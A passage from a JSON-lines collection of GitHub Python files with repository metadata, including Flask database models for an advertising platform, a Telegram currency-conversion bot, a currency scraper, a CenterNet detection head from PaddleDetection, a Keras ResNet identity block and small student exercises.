fechamod = db.Column(db.String, nullable=False)\r\n\r\n\r\nclass aprobacionSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'idmfc', 'datos', 'estado','nombre')\r\n\r\n\r\nclass mfc(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'mfc'\r\n id = db.Column(db.Integer, primary_key=True)\r\n idversion = db.Column(db.Integer, nullable=False)\r\n nombre = db.Column(db.String, nullable=False)\r\n idmarca = db.Column(db.Integer, db.ForeignKey(\r\n 'mfcgt.dmarca.id'), nullable=False)\r\n idagencia = db.Column(db.Integer, nullable=False)\r\n moneda = db.Column(db.String, nullable=False)\r\n aprobado = db.Column(db.Integer, nullable=False)\r\n aprobadopor = db.Column(db.Integer, nullable=False)\r\n cancelado = db.Column(db.Integer, nullable=False)\r\n canceladopor = db.Column(db.Integer, nullable=False)\r\n fechacancelado = db.Column(db.DateTime, nullable=False)\r\n paisfacturar = db.Column(db.Integer, nullable=False)\r\n paisimplementar = db.Column(db.Integer, nullable=False)\r\n anioimplementacion = db.Column(db.Integer, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.DateTime, nullable=False)\r\n fechamod = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n\r\n\r\nclass mfcSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'idversion', 'nombre','anioimplementacion',\r\n 'paisfacturar', 'paisimplementar', 'estado', 'idflow')\r\n\r\n\r\nclass mfccampana(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'mfccampana'\r\n id = db.Column(db.Integer, primary_key=True)\r\n idversion = db.Column(db.Integer, nullable=False)\r\n nombre = db.Column(db.String, nullable=False)\r\n nombreversion = db.Column(db.String, nullable=False)\r\n color = db.Column(db.String, nullable=False)\r\n idmfc = db.Column(db.Integer, db.ForeignKey(\r\n 'mfcgt.mfc.id'), nullable=False)\r\n idversionmfc = db.Column(db.Integer, nullable=False)\r\n idproducto = db.Column(db.Integer, nullable=False)\r\n descripcion = db.Column(db.String, nullable=False)\r\n fechainicio = db.Column(db.DateTime, nullable=False)\r\n fechafin = db.Column(db.DateTime, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.DateTime, nullable=False)\r\n fechamod = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n\r\n\r\nclass campanaSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'idversion', 'nombre', 'nombreversion', 'fechainicio','costo','producto','descripcion',\r\n 'costoplataforma', 'fechafin', 'paisfacturar', 'paisimplementar', 'estado')\r\n\r\n\r\nclass mfccompradiaria(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'mfccompradiaria'\r\n id = db.Column(db.Integer, primary_key=True)\r\n idcampana = db.Column(db.Integer, nullable=False)\r\n idversion = db.Column(db.Integer, nullable=False)\r\n idformato = db.Column(db.Integer, nullable=False)\r\n idformatodigital = db.Column(db.Integer, nullable=False)\r\n costo = db.Column(db.Float, nullable=False)\r\n bonificacion = db.Column(db.Float, nullable=False)\r\n cobertura_publicacion = db.Column(db.String, nullable=False)\r\n observaciones = db.Column(db.String, nullable=False)\r\n multiplestiposa = db.Column(db.String, nullable=False)\r\n multiplestiposb = db.Column(db.String, nullable=False)\r\n multiplestiposc = db.Column(db.String, nullable=False)\r\n multiplestiposd = db.Column(db.String, nullable=False)\r\n multiplestipose = db.Column(db.String, nullable=False)\r\n multiplestiposf = db.Column(db.String, nullable=False)\r\n multiplestiposg = db.Column(db.String, nullable=False)\r\n multiplestiposh = db.Column(db.String, nullable=False)\r\n multiplescostosa = db.Column(db.Float, nullable=False)\r\n multiplescostosb = db.Column(db.Float, nullable=False)\r\n multiplescostosc = db.Column(db.Float, nullable=False)\r\n multiplescostosd = db.Column(db.Float, nullable=False)\r\n multiplescostose = db.Column(db.String, nullable=False)\r\n rating = db.Column(db.Float, nullable=False)\r\n anio = db.Column(db.Integer, nullable=False)\r\n enero = db.Column(db.String, nullable=False)\r\n febrero = db.Column(db.String, nullable=False)\r\n marzo = db.Column(db.String, nullable=False)\r\n abril = db.Column(db.String, nullable=False)\r\n mayo = db.Column(db.String, nullable=False)\r\n junio = db.Column(db.String, nullable=False)\r\n julio = db.Column(db.String, nullable=False)\r\n agosto = db.Column(db.String, nullable=False)\r\n septiembre = db.Column(db.String, nullable=False)\r\n octubre = db.Column(db.String, nullable=False)\r\n noviembre = db.Column(db.String, nullable=False)\r\n diciembre = db.Column(db.String, nullable=False)\r\n odc = db.Column(db.String, nullable=False)\r\n idraiz = db.Column(db.Integer, nullable=False)\r\n idpresupuesto = db.Column(db.Integer, nullable=False)\r\n aprobado = db.Column(db.Integer, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.DateTime, nullable=False)\r\n fechamod = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n\r\n\r\nclass compradiariaSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'nombre', 'fecha_inicio_mfc', 'fecha_fin_mfc', 'fecha_inicio_pl','fecha_fin_pl',\r\n 'costo_mfc', 'costo_pl','Plataforma','Version','Objetivo','Medio','odc','Presupuesto')\r\n\r\n\r\nclass dpais(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'dpais'\r\n id = db.Column(db.Integer, primary_key=True)\r\n nombre = db.Column(db.String, nullable=False)\r\n codigo = db.Column(db.Integer, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.DateTime, nullable=False)\r\n fechamod = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n\r\n\r\nclass rCampaings(db.Model):\r\n __table_args__ = {'schema': 'MediaPlatformsReports'}\r\n __tablename__ = 'Campaings'\r\n campaingid = db.Column(db.String, primary_key=True)\r\n campaingname = db.Column(db.String, nullable=False)\r\n campaignspendinglimit = db.Column(db.Float, nullable=False)\r\n campaigndailybudget = db.Column(db.Float, nullable=False)\r\n campaignlifetimebudget = db.Column(db.Float, nullable=False)\r\n campaignobjective = db.Column(db.String, nullable=False)\r\n campaignstatus = db.Column(db.String, nullable=False)\r\n cost = db.Column(db.Float, nullable=False)\r\n accountsid = db.Column(db.String, nullable=False)\r\n createdate = db.Column(db.DateTime, nullable=False)\r\n startdate = db.Column(db.DateTime, nullable=False)\r\n enddate = db.Column(db.DateTime, nullable=False)\r\n\r\n\r\nclass rCampaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('campaingid', 'campaingname', 'campaignspendinglimit', 'campaigndailybudget', 'campaignlifetimebudget',\r\n 'campaignobjective', 'campaignstatus', 'cost', 'accountsid', 'createdate', 'startdate', 'enddate')\r\n\r\n\r\nclass rCampaingMetrics(db.Model):\r\n __table_args__ = {'schema': 'MediaPlatformsReports'}\r\n __tablename__ = 'CampaingMetrics'\r\n id = db.Column(db.Integer, primary_key=True) # Field name made lowercase.\r\n Reach = db.Column(db.Integer)\r\n Frequency = db.Column(db.Float)\r\n Cost = db.Column(db.Float)\r\n Clicks = db.Column(db.Integer)\r\n Percentofbudgetused = db.Column(db.Float)\r\n Impressions = db.Column(db.Integer)\r\n #CampaingID = db.Column(db.String)\r\n CampaingID = db.Column(db.String, db.ForeignKey(\r\n 'MediaPlatformsReports.Campaings.campaingid'), nullable=False)\r\n CreateDate = db.Column(db.DateTime)\r\n ReportType = db.Column(db.Integer)\r\n Result = db.Column(db.Float)\r\n Postengagements = db.Column(db.Float)\r\n Estimatedadrecalllift = db.Column(db.Float)\r\n Videowachesat75 = db.Column(db.Float)\r\n ThruPlay = db.Column(db.Float)\r\n Conversions = db.Column(db.Integer)\r\n Objetive = db.Column(db.String)\r\n CampaignIDMFC = db.Column(db.Integer)\r\n AppInstalls = db.Column(db.Integer)\r\n KPICost = db.Column(db.Float)\r\n CloseData = db.Column(db.Integer)\r\n Week = db.Column(db.Integer)\r\n UserMod = db.Column(db.String)\r\n UpdateDate = db.Column(db.DateTime)\r\n\r\nclass rCampaingMetricsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('Cliente','Marca', 'MFC', 'ID Campaña', 'Campaña', 'Fecha Inicio', 'Fecha Fin','Objetivo','ID Nomenclatura', 'Nomenclatura',\r\n 'Medio','Inversion Planificada', 'KPI Planificado', 'Costo','Alcance','Frecuencia','Impresiones','Clicks','Video 75', 'Conversiones',\r\n 'Descargas', 'KPI', 'id', 'Engagements')\r\n\r\nclass mfcasignacion(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'mfcasignacion'\r\n id = db.Column(db.Integer, primary_key=True)\r\n idusuario = db.Column(db.Integer, nullable=False)\r\n idmarca = db.Column(db.Integer, nullable=False)\r\n tipo = db.Column(db.String, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.Integer, nullable=False)\r\n fechamod = db.Column(db.DateTime, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n\r\nclass LocalMediaReports(db.Model):\r\n __table_args__ = {'schema': 'MediaPlatformsReports'}\r\n __tablename__ = 'LocalMedia'\r\n ID = db.Column(db.Integer, primary_key=True)\r\n IDMFC = db.Column(db.Integer)\r\n ADName = db.Column(db.String)\r\n ReportDate = db.Column(db.DateTime)\r\n UnitCost = db.Column(db.Float)\r\n ODC = db.Column(db.String)\r\n Orden = db.Column(db.String)\r\n BudgetUsed = db.Column(db.Float)\r\n Reach = db.Column(db.Integer)\r\n Impressions = db.Column(db.Integer)\r\n Clicks = db.Column(db.Integer)\r\n Videowachesat75 = db.Column(db.Float)\r\n Listens = db.Column(db.Float)\r\n Conversions = db.Column(db.Integer)\r\n CTR = db.Column(db.Float)\r\n Landingpageviews = db.Column(db.Float)\r\n UniqueViews = db.Column(db.Integer)\r\n TimeOnPage = db.Column(db.Float)\r\n TypePublication = db.Column(db.String)\r\n Follows = db.Column(db.Integer)\r\n Navigation = db.Column(db.Integer)\r\n Description = db.Column(db.String)\r\n CreatedDate = db.Column(db.TIMESTAMP)\r\n CreatedUser = db.Column(db.Integer)\r\n UpdatedDate = db.Column(db.TIMESTAMP)\r\n UpdatedUser = db.Column(db.Integer)\r\n State = db.Column(db.Integer)\r\n def __init__(self, ADName,IDMFC, ReportDate, UnitCost,ODC,Orden,BudgetUsed,Reach,Impressions, Clicks,\r\n Videowachesat75,Listens, Conversions, CTR, Landingpageviews, UniqueViews,TimeOnPage,TypePublication, Follows, Navigation,CreatedUser):\r\n self.ADName = ADName\r\n self.IDMFC = IDMFC\r\n self.ReportDate = ReportDate\r\n self.UnitCost = UnitCost\r\n self.ODC = ODC\r\n self.Orden = Orden\r\n self.BudgetUsed = BudgetUsed\r\n self.Reach = Reach\r\n self.Impressions = Impressions\r\n self.Clicks = Clicks\r\n self.Videowachesat75 = Videowachesat75\r\n self.Listens = Listens\r\n self.Conversions = Conversions\r\n self.CTR = CTR\r\n self.Landingpageviews = Landingpageviews\r\n self.UniqueViews = UniqueViews\r\n self.TimeOnPage = TimeOnPage\r\n self.TypePublication = TypePublication\r\n self.Follows = Follows\r\n self.Navigation = Navigation\r\n self.CreatedUser = CreatedUser\r\n self.State = 1\r\n\r\nclass LocalMediaReportsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('ID','IDMFC', 'ADName', 'ReportDate', 'UnitCost', 'ODC', 'Orden', 'BudgetUsed', 'Reach', 'Impressions',\r\n 'Clicks', 'Videowachesat75', 'Listens', 'Conversions', 'CTR', 'Landingpageviews', 'UniqueViews','Description',\r\n 'TimeOnPage', 'TypePublication', 'Follows', 'Navigation','State','Nombre Anuncio','Nombre Campaña')\r\n\r\nclass LocalMediaReportsCountSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('Por Revisar','Aprobados','Rechazados')\r\n\r\n\r\nclass PuestosOmgGT(db.Model):\r\n __table_args__ = {'schema': 'omggt'}\r\n __tablename__ = 'puesto'\r\n id = db.Column(db.Integer, primary_key=True)\r\n nombre = db.Column(db.String)\r\n area = db.Column(db.String)\r\n subarea = db.Column(db.String)\r\n usermod = db.Column(db.Integer)\r\n fechamod = db.Column(db.DateTime)\r\n usering = db.Column(db.Integer)\r\n fechaing = db.Column(db.DateTime)\r\n estado = db.Column(db.Integer)\r\nclass PuestosOmgGTSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'nombre','area','subarea','usermod','fechamod','usering','fechaing','estado')\r\n\r\n\r\nclass UsuarioOmgGT(db.Model):\r\n __table_args__ = {'schema': 'omggt'}\r\n __tablename__ = 'usuario'\r\n id = db.Column(db.Integer, primary_key=True)\r\n email = db.Column(db.String)\r\n clave = db.Column(db.String)\r\n nombre = db.Column(db.String)\r\n apellido = db.Column(db.Integer)\r\n asignadoa = db.Column(db.Integer)\r\n idagencia = db.Column(db.Integer)\r\n rutaimagen = db.Column(db.String)\r\n pinpublico = db.Column(db.Integer)\r\n ultimolog = db.Column(db.DateTime)\r\n idpuesto = db.Column(db.Integer)\r\n idperfil = db.Column(db.Integer)\r\n usermod = db.Column(db.Integer)\r\n fechamod = db.Column(db.DateTime)\r\n usering = db.Column(db.Integer)\r\n fechaing = db.Column(db.DateTime)\r\n estado = db.Column(db.Integer)\r\nclass UsuarioOmgGTSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'nombre','area','subarea','usermod','fechamod','usering','fechaing','estado')\r\n\r\n","repo_name":"Neryop12/FlaskApiAdops","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":27809,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1851575982","text":"from numpy import *\nimport matplotlib.pyplot as plt\n\nx = [1, 2, 3, 4, 5, 6, 7]\ny = []\nfor i in x:\n y.append(5 * math.sin(10 * i) * math.sin(3 * i) / float(i ^ int(1 / 2)))\n\nplt.plot(x, y)\nplt.savefig('graph.png', dpi=200)\n","repo_name":"AntonTevseev/Lb_7","sub_path":"1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15285987507","text":"#!/usr/bin/python\n\nimport requests \ncurs= [ \n\"usd\",\n\"eur\"\n]\n\nfor cur in curs:\n r=requests.get('http://fx-rate.net/'+str(cur)+'/ils')\n rate=(r.text[r.text.find('Today = ')+8:r.text.find('Today = ')+13]).split('<')[0]\n file = open(\"../currencies/\"+cur, \"w\")\n file.write(str(rate))\n file.close\n","repo_name":"gabik/wizzscrape","sub_path":"scripts/update_currencies.py","file_name":"update_currencies.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18732835144","text":"import telebot\r\nfrom options import keys, TOKEN\r\nfrom extensions import ConvertException, APIException\r\n\r\nbot = telebot.TeleBot(TOKEN)\r\n\r\n\r\n@bot.message_handler(commands=['start','help'])\r\ndef help(message: telebot.types.Message):\r\n text = 'Для того что бы приступить к конвертации валюты введите команду /convert ,\\n' \\\r\n'увидеть список доступных валют: /values'\r\n bot.reply_to(message,text)\r\n\r\n@bot.message_handler(commands=['values'])\r\ndef values(message: telebot.types.Message):\r\n text = 'Доступные валюты'\r\n for key in keys.keys():\r\n text = '\\n'.join((text,key))\r\n bot.reply_to(message, text)\r\n\r\n@bot.message_handler(commands=['convert'])\r\ndef values(message: telebot.types.Message):\r\n text = 'Введите валюту, из которой конвертировать'\r\n bot.send_message(message.chat.id,text)\r\n bot.register_next_step_handler(message, base_handler)\r\n\r\ndef base_handler(message:telebot.types.Message):\r\n base = message.text.strip()\r\n text = 'Введите валюту, в которую хотите конвертировать'\r\n bot.send_message(message.chat.id,text)\r\n bot.register_next_step_handler(message,sym_handler,base)\r\n\r\ndef sym_handler(message:telebot.types.Message, base):\r\n sym = message.text.strip()\r\n text = 'Введите количество конвертруемой валюты:'\r\n bot.send_message(message.chat.id,text)\r\n bot.register_next_step_handler(message,amount_handler, base, sym)\r\n\r\ndef amount_handler(message:telebot.types.Message,base,sym):\r\n amount = message.text.strip()\r\n total_base = APIException.convert(base,sym,amount)\r\n text = f'Цена {amount} {base} в {sym} состовляет : {total_base}'\r\n bot.send_message(message.chat.id,text)\r\n\r\n@bot.message_handler(content_types=['text',])\r\ndef convert(message: telebot.types.Message):\r\n try:\r\n values = message.text.split()\r\n\r\n if len(values) !=3:\r\n raise ConvertException('Слишком много параметров')\r\n\r\n quote,base,amount = values\r\n total_base = APIException.convert(quote, base, amount)\r\n except ConvertException as e:\r\n bot.reply_to(message, f'Ошибка пользователя\\n {e}')\r\n except Exception as e:\r\n bot.reply_to(message, f'Не удалось обработать команду \\n{e}')\r\n else:\r\n text = f'Цена {amount} в {base} {quote} в состовляет : {total_base}'\r\n bot.send_message(message.chat.id, text)\r\n\r\n\r\nbot.polling()\r\n\r\n","repo_name":"alahs9/B10.6-","sub_path":"main_app.py","file_name":"main_app.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16086752089","text":"# 10974: 520 - 브루트 포스 - 순열 - 모든 순열\nn = int(input())\nnum = [0]*n\ncheck = [False]*n\ndef dfs(cnt):\n if cnt == n:\n for i in range(cnt):\n print(num[i], end=' ')\n print()\n return\n for i in range(n):\n if check[i] == False:\n num[cnt] = i+1\n check[i] = True\n dfs(cnt+1)\n check[i] = False\ndfs(0)","repo_name":"sooyeon73/algorithm_study_2022-","sub_path":"8주차_기초520600_순열그래프/10974_hb.py","file_name":"10974_hb.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36036114881","text":"import math\nimport paddle\nimport paddle.nn as nn\nimport paddle.nn.functional as F\nfrom paddle.nn.initializer import Constant, Uniform\nfrom ppdet.core.workspace import register\nfrom ppdet.modeling.losses import CTFocalLoss, GIoULoss\n\n\nclass ConvLayer(nn.Layer):\n def __init__(self,\n ch_in,\n ch_out,\n kernel_size,\n stride=1,\n padding=0,\n dilation=1,\n groups=1,\n bias=False):\n super(ConvLayer, self).__init__()\n bias_attr = False\n fan_in = ch_in * kernel_size**2\n bound = 1 / math.sqrt(fan_in)\n param_attr = paddle.ParamAttr(initializer=Uniform(-bound, bound))\n if bias:\n bias_attr = paddle.ParamAttr(initializer=Constant(0.))\n self.conv = nn.Conv2D(\n in_channels=ch_in,\n out_channels=ch_out,\n kernel_size=kernel_size,\n stride=stride,\n padding=padding,\n dilation=dilation,\n groups=groups,\n weight_attr=param_attr,\n bias_attr=bias_attr)\n\n def forward(self, inputs):\n out = self.conv(inputs)\n return out\n\n\n@register\nclass CenterNetHead(nn.Layer):\n \"\"\"\n Args:\n in_channels (int): the channel number of input to CenterNetHead.\n num_classes (int): the number of classes, 80 (COCO dataset) by default.\n head_planes (int): the channel number in all head, 256 by default.\n prior_bias (float): prior bias in heatmap head, -2.19 by default, -4.6 in CenterTrack\n regress_ltrb (bool): whether to regress left/top/right/bottom or\n width/height for a box, True by default.\n size_loss (str): the type of size regression loss, 'L1' by default, can be 'giou'.\n loss_weight (dict): the weight of each loss.\n add_iou (bool): whether to add iou branch, False by default.\n \"\"\"\n\n __shared__ = ['num_classes']\n\n def __init__(self,\n in_channels,\n num_classes=80,\n head_planes=256,\n prior_bias=-2.19,\n regress_ltrb=True,\n size_loss='L1',\n loss_weight={\n 'heatmap': 1.0,\n 'size': 0.1,\n 'offset': 1.0,\n 'iou': 0.0,\n },\n add_iou=False):\n super(CenterNetHead, self).__init__()\n self.regress_ltrb = regress_ltrb\n self.loss_weight = loss_weight\n self.add_iou = add_iou\n\n # heatmap head\n self.heatmap = nn.Sequential(\n ConvLayer(\n in_channels, head_planes, kernel_size=3, padding=1, bias=True),\n nn.ReLU(),\n ConvLayer(\n head_planes,\n num_classes,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=True))\n with paddle.no_grad():\n self.heatmap[2].conv.bias[:] = prior_bias\n\n # size(ltrb or wh) head\n self.size = nn.Sequential(\n ConvLayer(\n in_channels, head_planes, kernel_size=3, padding=1, bias=True),\n nn.ReLU(),\n ConvLayer(\n head_planes,\n 4 if regress_ltrb else 2,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=True))\n self.size_loss = size_loss\n\n # offset head\n self.offset = nn.Sequential(\n ConvLayer(\n in_channels, head_planes, kernel_size=3, padding=1, bias=True),\n nn.ReLU(),\n ConvLayer(\n head_planes, 2, kernel_size=1, stride=1, padding=0, bias=True))\n\n # iou head (optinal)\n if self.add_iou and 'iou' in self.loss_weight:\n self.iou = nn.Sequential(\n ConvLayer(\n in_channels,\n head_planes,\n kernel_size=3,\n padding=1,\n bias=True),\n nn.ReLU(),\n ConvLayer(\n head_planes,\n 4 if regress_ltrb else 2,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=True))\n\n @classmethod\n def from_config(cls, cfg, input_shape):\n if isinstance(input_shape, (list, tuple)):\n input_shape = input_shape[0]\n return {'in_channels': input_shape.channels}\n\n def forward(self, feat, inputs):\n heatmap = F.sigmoid(self.heatmap(feat))\n size = self.size(feat)\n offset = self.offset(feat)\n head_outs = {'heatmap': heatmap, 'size': size, 'offset': offset}\n if self.add_iou and 'iou' in self.loss_weight:\n iou = self.iou(feat)\n head_outs.update({'iou': iou})\n\n if self.training:\n losses = self.get_loss(inputs, self.loss_weight, head_outs)\n return losses\n else:\n return head_outs\n\n def get_loss(self, inputs, weights, head_outs):\n # 1.heatmap(hm) head loss: CTFocalLoss\n heatmap = head_outs['heatmap']\n heatmap_target = inputs['heatmap']\n heatmap = paddle.clip(heatmap, 1e-4, 1 - 1e-4)\n ctfocal_loss = CTFocalLoss()\n heatmap_loss = ctfocal_loss(heatmap, heatmap_target)\n\n # 2.size(wh) head loss: L1 loss or GIoU loss\n size = head_outs['size']\n index = inputs['index']\n mask = inputs['index_mask']\n size = paddle.transpose(size, perm=[0, 2, 3, 1])\n size_n, _, _, size_c = size.shape\n size = paddle.reshape(size, shape=[size_n, -1, size_c])\n index = paddle.unsqueeze(index, 2)\n batch_inds = list()\n for i in range(size_n):\n batch_ind = paddle.full(\n shape=[1, index.shape[1], 1], fill_value=i, dtype='int64')\n batch_inds.append(batch_ind)\n batch_inds = paddle.concat(batch_inds, axis=0)\n index = paddle.concat(x=[batch_inds, index], axis=2)\n pos_size = paddle.gather_nd(size, index=index)\n mask = paddle.unsqueeze(mask, axis=2)\n size_mask = paddle.expand_as(mask, pos_size)\n size_mask = paddle.cast(size_mask, dtype=pos_size.dtype)\n pos_num = size_mask.sum()\n size_mask.stop_gradient = True\n if self.size_loss == 'L1':\n if self.regress_ltrb:\n size_target = inputs['size']\n # shape: [bs, max_per_img, 4]\n else:\n if inputs['size'].shape[-1] == 2:\n # inputs['size'] is wh, and regress as wh\n # shape: [bs, max_per_img, 2]\n size_target = inputs['size']\n else:\n # inputs['size'] is ltrb, but regress as wh\n # shape: [bs, max_per_img, 4]\n size_target = inputs['size'][:, :, 0:2] + inputs[\n 'size'][:, :, 2:]\n\n size_target.stop_gradient = True\n size_loss = F.l1_loss(\n pos_size * size_mask, size_target * size_mask, reduction='sum')\n size_loss = size_loss / (pos_num + 1e-4)\n elif self.size_loss == 'giou':\n size_target = inputs['bbox_xys']\n size_target.stop_gradient = True\n centers_x = (size_target[:, :, 0:1] + size_target[:, :, 2:3]) / 2.0\n centers_y = (size_target[:, :, 1:2] + size_target[:, :, 3:4]) / 2.0\n x1 = centers_x - pos_size[:, :, 0:1]\n y1 = centers_y - pos_size[:, :, 1:2]\n x2 = centers_x + pos_size[:, :, 2:3]\n y2 = centers_y + pos_size[:, :, 3:4]\n pred_boxes = paddle.concat([x1, y1, x2, y2], axis=-1)\n giou_loss = GIoULoss(reduction='sum')\n size_loss = giou_loss(\n pred_boxes * size_mask,\n size_target * size_mask,\n iou_weight=size_mask,\n loc_reweight=None)\n size_loss = size_loss / (pos_num + 1e-4)\n\n # 3.offset(reg) head loss: L1 loss\n offset = head_outs['offset']\n offset_target = inputs['offset']\n offset = paddle.transpose(offset, perm=[0, 2, 3, 1])\n offset_n, _, _, offset_c = offset.shape\n offset = paddle.reshape(offset, shape=[offset_n, -1, offset_c])\n pos_offset = paddle.gather_nd(offset, index=index)\n offset_mask = paddle.expand_as(mask, pos_offset)\n offset_mask = paddle.cast(offset_mask, dtype=pos_offset.dtype)\n pos_num = offset_mask.sum()\n offset_mask.stop_gradient = True\n offset_target.stop_gradient = True\n offset_loss = F.l1_loss(\n pos_offset * offset_mask,\n offset_target * offset_mask,\n reduction='sum')\n offset_loss = offset_loss / (pos_num + 1e-4)\n\n # 4.iou head loss: GIoU loss (optinal)\n if self.add_iou and 'iou' in self.loss_weight:\n iou = head_outs['iou']\n iou = paddle.transpose(iou, perm=[0, 2, 3, 1])\n iou_n, _, _, iou_c = iou.shape\n iou = paddle.reshape(iou, shape=[iou_n, -1, iou_c])\n pos_iou = paddle.gather_nd(iou, index=index)\n iou_mask = paddle.expand_as(mask, pos_iou)\n iou_mask = paddle.cast(iou_mask, dtype=pos_iou.dtype)\n pos_num = iou_mask.sum()\n iou_mask.stop_gradient = True\n gt_bbox_xys = inputs['bbox_xys']\n gt_bbox_xys.stop_gradient = True\n centers_x = (gt_bbox_xys[:, :, 0:1] + gt_bbox_xys[:, :, 2:3]) / 2.0\n centers_y = (gt_bbox_xys[:, :, 1:2] + gt_bbox_xys[:, :, 3:4]) / 2.0\n x1 = centers_x - pos_size[:, :, 0:1]\n y1 = centers_y - pos_size[:, :, 1:2]\n x2 = centers_x + pos_size[:, :, 2:3]\n y2 = centers_y + pos_size[:, :, 3:4]\n pred_boxes = paddle.concat([x1, y1, x2, y2], axis=-1)\n giou_loss = GIoULoss(reduction='sum')\n iou_loss = giou_loss(\n pred_boxes * iou_mask,\n gt_bbox_xys * iou_mask,\n iou_weight=iou_mask,\n loc_reweight=None)\n iou_loss = iou_loss / (pos_num + 1e-4)\n\n losses = {\n 'heatmap_loss': heatmap_loss,\n 'size_loss': size_loss,\n 'offset_loss': offset_loss,\n }\n det_loss = weights['heatmap'] * heatmap_loss + weights[\n 'size'] * size_loss + weights['offset'] * offset_loss\n\n if self.add_iou and 'iou' in self.loss_weight:\n losses.update({'iou_loss': iou_loss})\n det_loss += weights['iou'] * iou_loss\n losses.update({'det_loss': det_loss})\n return losses\n","repo_name":"PaddlePaddle/PaddleDetection","sub_path":"ppdet/modeling/heads/centernet_head.py","file_name":"centernet_head.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","stars":11450,"dataset":"github-code","pt":"29"} +{"seq_id":"23570383122","text":"#!/usr/bin/env python3\n\"\"\"\nScript that builds an identity block\n\"\"\"\nimport tensorflow.keras as K\n\n\ndef identity_block(A_prev, filters):\n \"\"\"\n Returns the activated output of the identity block\n \"\"\"\n F11, F3, F12 = filters\n kernel = K.initializers.he_normal()\n\n layer1x1 = K.layers.Conv2D(filters=F11,\n kernel_size=(1, 1),\n padding='same',\n kernel_initializer=kernel)(A_prev)\n\n layer1x1 = K.layers.BatchNormalization()(layer1x1)\n\n layer1x1 = K.layers.Activation('relu')(layer1x1)\n\n layer3x3 = K.layers.Conv2D(filters=F3,\n kernel_size=(3, 3),\n padding='same',\n kernel_initializer=kernel)(layer1x1)\n\n layer3x3 = K.layers.BatchNormalization()(layer3x3)\n layer3x3 = K.layers.Activation('relu')(layer3x3)\n\n layer1x1 = K.layers.Conv2D(filters=F12,\n kernel_size=(1, 1),\n padding='same',\n kernel_initializer=kernel)(layer3x3)\n\n layer1x1 = K.layers.BatchNormalization()(layer1x1)\n output = K.layers.Add()([layer1x1, A_prev])\n\n output = K.layers.Activation('relu')(output)\n\n return output\n","repo_name":"anaruzz/holbertonschool-machine_learning","sub_path":"supervised_learning/0x08-deep_cnns/2-identity_block.py","file_name":"2-identity_block.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43740500848","text":"\"\"\"Extra code from readmass moved here for tidying-up purposes\"\"\"\n\n\"\"\"Alternative method for calculating mean\"\"\"\n\nfor m in range(len(ensem)):\n ensem1d = np.reshape(ensem[m],(N**2))\n mean_m = np.mean(ensem1d[m])\n if m==0:\n mean1 = np.array([mean_m])\n else:\n mean1 = np.append([mean1], [mean_m])\n\n\"\"\"Calculates the wrong mean\"\"\"\n\n\n\"\"\"Plot graph of mean\"\"\"\n#lev = np.linspace(0,10,21)\n#pl.contour(X,Y,plotmean, levels=[0,1,2,3])\n#pl.axes().set_aspect('equal')\n#pl.show() #plot graph of mean\n\n\n\"\"\"An experiment, no longer used:\"\"\"\n#change = (vals[-1]**0.5)*vecs[:,-1] + mean #<k> + sqrt(val)*vec for largest val (explain physics again?)\n#plotchange = np.reshape(change,(N,N)) #reshape as 2D array for plotting\n\n\"\"\"Chi-squared remnants\"\"\"\ndef residuals(params):\n f = profile(params) #f = k(param)\n f = np.reshape(f,(N**2)) #reshape f into 1D array\n f -= mean #changed 'change' (which was an experiment) to 'mean'#f = f-change\n df = 